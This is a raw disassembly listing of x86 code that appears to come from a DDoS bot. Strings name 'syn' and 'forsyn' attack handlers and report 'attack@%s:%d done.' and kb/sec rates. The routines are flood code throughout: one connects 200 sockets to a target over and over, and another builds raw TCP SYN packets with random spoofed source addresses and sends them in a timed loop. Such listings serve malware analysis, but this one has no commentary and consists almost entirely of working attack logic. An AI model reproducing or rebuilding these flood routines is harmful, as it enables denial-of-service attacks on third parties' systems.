		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426D10:				; CODE XREF: _294ADE7B:loc_401640j
					; _294ADE7B:00401FF0j
		push	esi
		mov	esi, ecx
		call	sub_40146A
		test	byte ptr [esp+8], 1
		jz	short loc_426D28
		push	esi
		call	sub_430332
		add	esp, 4


loc_426D28:				; CODE XREF: _294ADE7B:00426D1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426D40	proc near		; CODE XREF: sub_401ACDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426D40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E2E
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_4370DC
		call	sub_401564
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426D40	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426DB0:				; CODE XREF: _294ADE7B:00401933j
					; _294ADE7B:loc_4019CEj
		push	esi
		mov	esi, ecx
		call	sub_40173F
		test	byte ptr [esp+8], 1
		jz	short loc_426DC8
		push	esi
		call	sub_430332
		add	esp, 4


loc_426DC8:				; CODE XREF: _294ADE7B:00426DBDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426DE0	proc near		; CODE XREF: sub_40173Fj
		jmp	sub_40146A
sub_426DE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426E00	proc near		; CODE XREF: sub_40131Bj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426E00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4982C3
		mov	[esp+2Ch+var_28], eax


loc_426E26:				; CODE XREF: sub_426E00+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_426E37
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_498C23
		jl	short loc_426E26


loc_426E37:				; CODE XREF: sub_426E00+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_426FE9
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:49824Fh[eax*8]
		call	sub_401726
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		call	ds:dword_4B3CB0
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_426EA0
		mov	dword ptr [ebp+68h], 5


loc_426EA0:				; CODE XREF: sub_426E00+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_4B2458
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_401726
		push	eax
		mov	ecx, esi
		call	sub_401726
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_401479
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_48873B
		call	sub_40178F
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_4B2658
		push	0
		push	ecx
		push	offset sub_40128A
		push	0
		push	0
		call	ds:dword_4B3864
		test	eax, eax
		mov	ds:dword_4B265C, eax
		jz	short loc_426F3B
		push	offset word_4B22F8
		push	5
		push	eax
		push	0
		push	offset dword_4B2458
		call	sub_401393
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_426F6B
; ---------------------------------------------------------------------------


loc_426F3B:				; CODE XREF: sub_426E00+11Dj
		mov	ecx, esi
		call	sub_401726
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_401479
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 18h


loc_426F6B:				; CODE XREF: sub_426E00+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_4013CF
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_401726
		push	eax
		mov	ecx, esi
		call	sub_401726
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_401726
		push	eax
		push	offset dword_43B5F0
		mov	ecx, edi
		call	sub_401479
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		pop	edi
		pop	esi
		pop	ebp


loc_426FE9:				; CODE XREF: sub_426E00+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_426E00	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427080	proc near		; CODE XREF: sub_40128Aj

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:49824Fh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		call	ds:dword_4B3CB0
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		call	ds:dword_4B3CBC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427116
		push	ebp
		call	ds:dword_4B3CA4
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_42710F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	ds:dword_488C69[eax*2],	edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_42710F:				; CODE XREF: sub_427080+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_427116:				; CODE XREF: sub_427080+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_4271C6
		mov	ebx, ds:dword_4B3CAC


loc_427135:				; CODE XREF: sub_427080+140j
		mov	al, ds:byte_488B6A
		test	al, al
		jz	loc_4271C6
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_42714B:				; CODE XREF: sub_427080+EFj
		push	0
		push	1
		push	2
		call	ebx
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_42716B
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		call	ds:dword_4B3C74


loc_42716B:				; CODE XREF: sub_427080+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_42714B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_42717A:				; CODE XREF: sub_427080+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		call	ds:dword_4B3CB4
		add	esi, 4
		dec	edi
		jnz	short loc_42717A
		mov	ecx, [ebp+68h]
		push	ecx
		call	ds:dword_4B38CC
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4271A3:				; CODE XREF: sub_427080+130j
		mov	edx, [esi]
		push	edx
		call	ds:dword_4B3CA8
		add	esi, 4
		dec	edi
		jnz	short loc_4271A3
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_427135


loc_4271C6:				; CODE XREF: sub_427080+A9j
					; sub_427080+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	ds:dword_488C69[eax*2],	edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_427080	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427250:				; CODE XREF: _294ADE7B:00401CADj
		push	0FFFFFFFFh
		push	offset loc_434FA8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401E2E
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_4370EC
		call	sub_401564
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4272C0	proc near		; CODE XREF: _294ADE7B:0040164Aj
					; sub_401762j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010E6
		test	[esp+4+arg_0], 1
		jz	short loc_4272D8
		push	esi
		call	sub_430332
		add	esp, 4


loc_4272D8:				; CODE XREF: sub_4272C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4272C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4272F0	proc near		; CODE XREF: sub_4010E6j
		jmp	sub_40146A
sub_4272F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427310	proc near		; CODE XREF: sub_401D5Cj

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427310
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_401726
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_401479
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_4013CF
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_401479
		push	eax
		call	sub_401C8F
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_401726
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+34h+var_24]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_401479
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 14h
		mov	[esp+34h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+34h+var_24]
		call	sub_4011F9
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427310	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427480	proc near		; CODE XREF: sub_401AB9j

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_78		= dword	ptr -78h
var_74		= byte ptr -74h
var_72		= word ptr -72h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= word ptr -66h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	byte ptr [esp+0B0h+var_98+3], 0
		call	sub_402018
		push	0FFh
		push	esi
		mov	byte ptr [esp+0B8h+var_94], al
		call	sub_402018
		push	0FFh
		push	esi
		mov	byte ptr [esp+0C0h+var_94+1], al
		call	sub_402018
		push	0FFh
		push	esi
		mov	byte ptr [esp+0C8h+var_94+2], al
		call	sub_402018
		add	esp, 20h
		cmp	word ptr [esp+0A8h+arg_8], si
		mov	byte ptr [esp+0A8h+var_94+3], al
		jnz	short loc_427511
		push	2710h
		push	3E8h
		mov	byte ptr [esp+0B0h+var_98+3], 1
		call	sub_402018
		add	esp, 8
		mov	[esp+0A8h+arg_8], eax


loc_427511:				; CODE XREF: sub_427480+71j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	[esp+0C0h+var_5C], 1
		call	ds:dword_4B3C8C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+0A8h+var_90], edi
		jnz	short loc_427544
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_427544:				; CODE XREF: sub_427480+B5j
		lea	eax, [esp+0A8h+var_5C]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		call	ds:dword_4B3C88
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427567


loc_42755A:				; CODE XREF: sub_427480+28Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_427567:				; CODE XREF: sub_427480+D8j
		mov	ecx, [esp+0A8h+arg_8]
		mov	ebp, ds:dword_4B3CB0
		push	ecx
		mov	[esp+0ACh+var_4C], 2
		call	ebp
		mov	ebx, [esp+0A8h+arg_0]
		push	28h
		mov	[esp+0ACh+var_4A], ax
		mov	[esp+0ACh+var_48], ebx
		mov	byte ptr [esp+0ACh+var_88], 45h
		call	ebp
		push	4000h
		mov	word ptr [esp+0ACh+var_88+2], ax
		mov	word ptr [esp+0ACh+var_84], 1
		mov	word ptr [esp+0ACh+var_84+2], si
		mov	byte ptr [esp+0ACh+var_80], 80h
		mov	byte ptr [esp+0ACh+var_80+1], 6
		mov	word ptr [esp+0ACh+var_80+2], si
		mov	[esp+0ACh+var_78], ebx
		mov	[esp+0ACh+var_68], 50h
		mov	[esp+0ACh+var_67], 2
		call	ebp
		mov	[esp+0A8h+var_66], ax
		mov	[esp+0A8h+var_62], si
		mov	[esp+0A8h+var_6C], esi
		call	ds:dword_4B38D0
		mov	[esp+0A8h+var_60], eax
		mov	al, ds:byte_488B6A
		test	al, al
		jz	loc_4277BB
		mov	ebx, ds:dword_4B3A9C
		mov	byte ptr [esp+0A8h+var_50], 0
		mov	byte ptr [esp+0A8h+var_50+1], 6
		jmp	short loc_427605
; ---------------------------------------------------------------------------


loc_427603:				; CODE XREF: sub_427480+331j
		xor	esi, esi


loc_427605:				; CODE XREF: sub_427480+181j
		mov	edi, [esp+0A8h+var_8C]
		mov	edx, [esp+0A8h+arg_8]
		inc	edi
		push	edx
		mov	[esp+0ACh+var_8C], edi
		mov	[esp+0ACh+var_64], si
		call	ebp
		push	14h
		mov	[esp+0ACh+var_72], ax
		call	ebp
		mov	word ptr [esp+0A8h+var_50+2], ax
		mov	eax, [esp+0A8h+var_94]
		push	eax
		call	ds:dword_4B3C78
		mov	esi, eax
		mov	dword ptr [esp+0A8h+var_7C], esi
		call	ebx
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp
		mov	word ptr [esp+0A8h+var_74], ax
		call	ebx
		mov	edi, eax
		shl	edi, 10h
		call	ebx
		or	edi, eax
		push	edi
		call	ebp
		mov	edx, [esp+0A8h+arg_0]
		and	eax, 0FFFFh
		mov	[esp+0A8h+var_70], eax
		mov	eax, [esp+0A8h+var_50]
		mov	dword ptr [esp+0A8h+var_3C], esi
		mov	ecx, 5
		lea	esi, [esp+0A8h+var_74]
		lea	edi, [esp+0A8h+var_30]
		mov	[esp+0A8h+var_38], edx
		mov	[esp+0A8h+var_34], eax
		rep movsd
		lea	ecx, [esp+0A8h+var_3C]
		push	20h
		push	ecx
		call	sub_401942
		mov	ecx, 5
		lea	esi, [esp+0B0h+var_88]
		lea	edi, [esp+0B0h+var_3C]
		lea	edx, [esp+0B0h+var_3C]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+0B0h+var_74]
		lea	edi, [esp+0B0h+var_28]
		mov	[esp+0B0h+var_64], ax
		push	28h
		push	edx
		rep movsd
		mov	[esp+0B8h+var_14], 0
		call	sub_401942
		mov	edx, [esp+0B8h+var_90]
		add	esp, 10h
		mov	word ptr [esp+0A8h+var_80+2], ax
		mov	ecx, 5
		lea	esi, [esp+0A8h+var_88]
		lea	edi, [esp+0A8h+var_3C]
		lea	eax, [esp+0A8h+var_4C]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+0B4h+var_3C]
		push	28h
		push	ecx
		push	edx
		call	ds:dword_4B3C84
		cmp	eax, 0FFFFFFFFh
		jz	loc_42755A
		call	ds:dword_4B38D0
		mov	edx, [esp+0A8h+var_60]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0A8h+arg_C]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_4277B7
		mov	al, byte ptr [esp+0A8h+var_98+3]
		test	al, al
		jz	short loc_427759
		push	2710h
		push	3E8h
		call	sub_402018
		add	esp, 8
		mov	[esp+0A8h+arg_8], eax


loc_427759:				; CODE XREF: sub_427480+2BEj
		push	0FFh
		push	0
		call	sub_402018
		push	0FFh
		push	0
		mov	byte ptr [esp+0B8h+var_94], al
		call	sub_402018
		push	0FFh
		push	0
		mov	byte ptr [esp+0C0h+var_94+1], al
		call	sub_402018
		push	0FFh
		push	0
		mov	byte ptr [esp+0C8h+var_94+2], al
		call	sub_402018
		mov	edx, [esp+0C8h+arg_10]
		add	esp, 20h
		mov	byte ptr [esp+0A8h+var_94+3], al
		push	edx
		call	ds:dword_4B38CC
		mov	al, ds:byte_488B6A
		test	al, al
		jnz	loc_427603


loc_4277B7:				; CODE XREF: sub_427480+2B6j
		mov	edi, [esp+0A8h+var_90]


loc_4277BB:				; CODE XREF: sub_427480+16Bj
		push	edi
		call	ds:dword_4B3CA8
		mov	eax, [esp+0A8h+var_8C]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
sub_427480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4278C0	proc near		; CODE XREF: sub_401C8Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_4017C1
		mov	esi, eax
		call	ds:dword_4B3A9C
		and	eax, 800001FFh
		jns	short loc_4278E1
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_4278E1:				; CODE XREF: sub_4278C0+18j
		mov	ecx, [esp+8+arg_C]
		mov	edx, [esp+8+arg_8]
		push	ecx
		mov	ecx, [esp+0Ch+arg_4]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401AB9
		add	esp, 18h
		pop	esi
		retn
sub_4278C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427930	proc near		; CODE XREF: sub_401CD5j

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_430A38
		test	eax, eax
		jz	short loc_427962
		mov	ecx, ds:dword_4B3A68
		push	eax
		add	ecx, 40h
		push	offset aNetworkFailedT ; "Network failed to start: %d\n"
		push	ecx
		call	ds:dword_4B3A6C
		add	esp, 0Ch


loc_427962:				; CODE XREF: sub_427930+17j
		add	esp, 190h
		retn
sub_427930	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427980:				; CODE XREF: _294ADE7B:00401C53j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_427993
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_427993
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_427993:				; CODE XREF: _294ADE7B:00427986j
					; _294ADE7B:0042798Dj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4279B0	proc near		; CODE XREF: sub_401988j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		call	ds:dword_4B3B00
		mov	ebp, eax
		push	3Ah
		push	ebp
		call	ds:dword_4B3AC4
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_427A24
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_430AA4
		cmp	eax, ebx
		jnz	short loc_427A78
		push	offset aGetservbyname ;	"getservbyname"
		call	ds:dword_4B3A58
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_427A24:				; CODE XREF: sub_4279B0+47j
		mov	[esi], bl
		mov	eax, ds:dword_4B3A5C
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_427A42
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		call	ds:dword_4B3B04
		add	esp, 8
		jmp	short loc_427A52
; ---------------------------------------------------------------------------


loc_427A42:				; CODE XREF: sub_4279B0+7Fj
		mov	eax, ds:dword_4B3AF8
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_427A52:				; CODE XREF: sub_4279B0+90j
		cmp	eax, ebx
		jz	short loc_427A6D
		push	esi
		call	ds:dword_4B3AEC
		add	esp, 4
		push	eax
		call	sub_430A1A
		mov	word ptr [esp+24h+var_10+2], ax
		jmp	short loc_427A81
; ---------------------------------------------------------------------------


loc_427A6D:				; CODE XREF: sub_4279B0+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_430AA4


loc_427A78:				; CODE XREF: sub_4279B0+5Aj
		mov	dx, [eax+8]
		mov	word ptr [esp+24h+var_10+2], dx


loc_427A81:				; CODE XREF: sub_4279B0+BBj
		push	ebp
		call	sub_430A08
		cmp	eax, 0FFFFFFFFh
		mov	[esp+24h+var_C], eax
		jnz	short loc_427ACD
		push	ebp
		call	sub_4309FC
		cmp	eax, ebx
		jnz	short loc_427AB2
		push	offset aGethostbyname ;	"gethostbyname"
		call	ds:dword_4B3A58
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_427AB2:				; CODE XREF: sub_4279B0+E8j
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		mov	edx, ecx
		lea	edi, [esp+24h+var_C]
		mov	esi, [eax]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_427ACD:				; CODE XREF: sub_4279B0+DEj
		push	ebp
		mov	ebp, ds:dword_4B3AAC
		call	ebp
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_430A20
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_427B03
		push	offset aSocket	; "socket"
		call	ds:dword_4B3A58
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_427B03:				; CODE XREF: sub_4279B0+139j
		lea	eax, [esp+24h+var_14]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	edi
		call	sub_430A98
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427B23
		push	offset aSetsockopt ; "setsockopt"
		jmp	short loc_427B57
; ---------------------------------------------------------------------------


loc_427B23:				; CODE XREF: sub_4279B0+16Aj
		lea	ecx, [esp+24h+var_10]
		push	10h
		push	ecx
		push	edi
		call	sub_430A14
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427B3C
		push	offset aConnect	; "connect"
		jmp	short loc_427B57
; ---------------------------------------------------------------------------


loc_427B3C:				; CODE XREF: sub_4279B0+183j
		push	144h
		push	1
		call	ds:dword_4B3A64
		mov	esi, eax
		add	esp, 8
		cmp	esi, ebx
		jnz	short loc_427B70
		push	offset aCalloc	; "calloc"


loc_427B57:				; CODE XREF: sub_4279B0+171j
					; sub_4279B0+18Aj
		call	ds:dword_4B3A58
		add	esp, 4
		push	edi
		call	sub_430A26
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_427B70:				; CODE XREF: sub_4279B0+1A0j
		push	2000h
		call	ds:dword_4B3AB0
		add	esp, 4
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_427BA9
		push	offset aCalloc	; "calloc"
		call	ds:dword_4B3A58
		add	esp, 4
		push	edi
		call	sub_430A26
		push	esi
		call	ebp
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
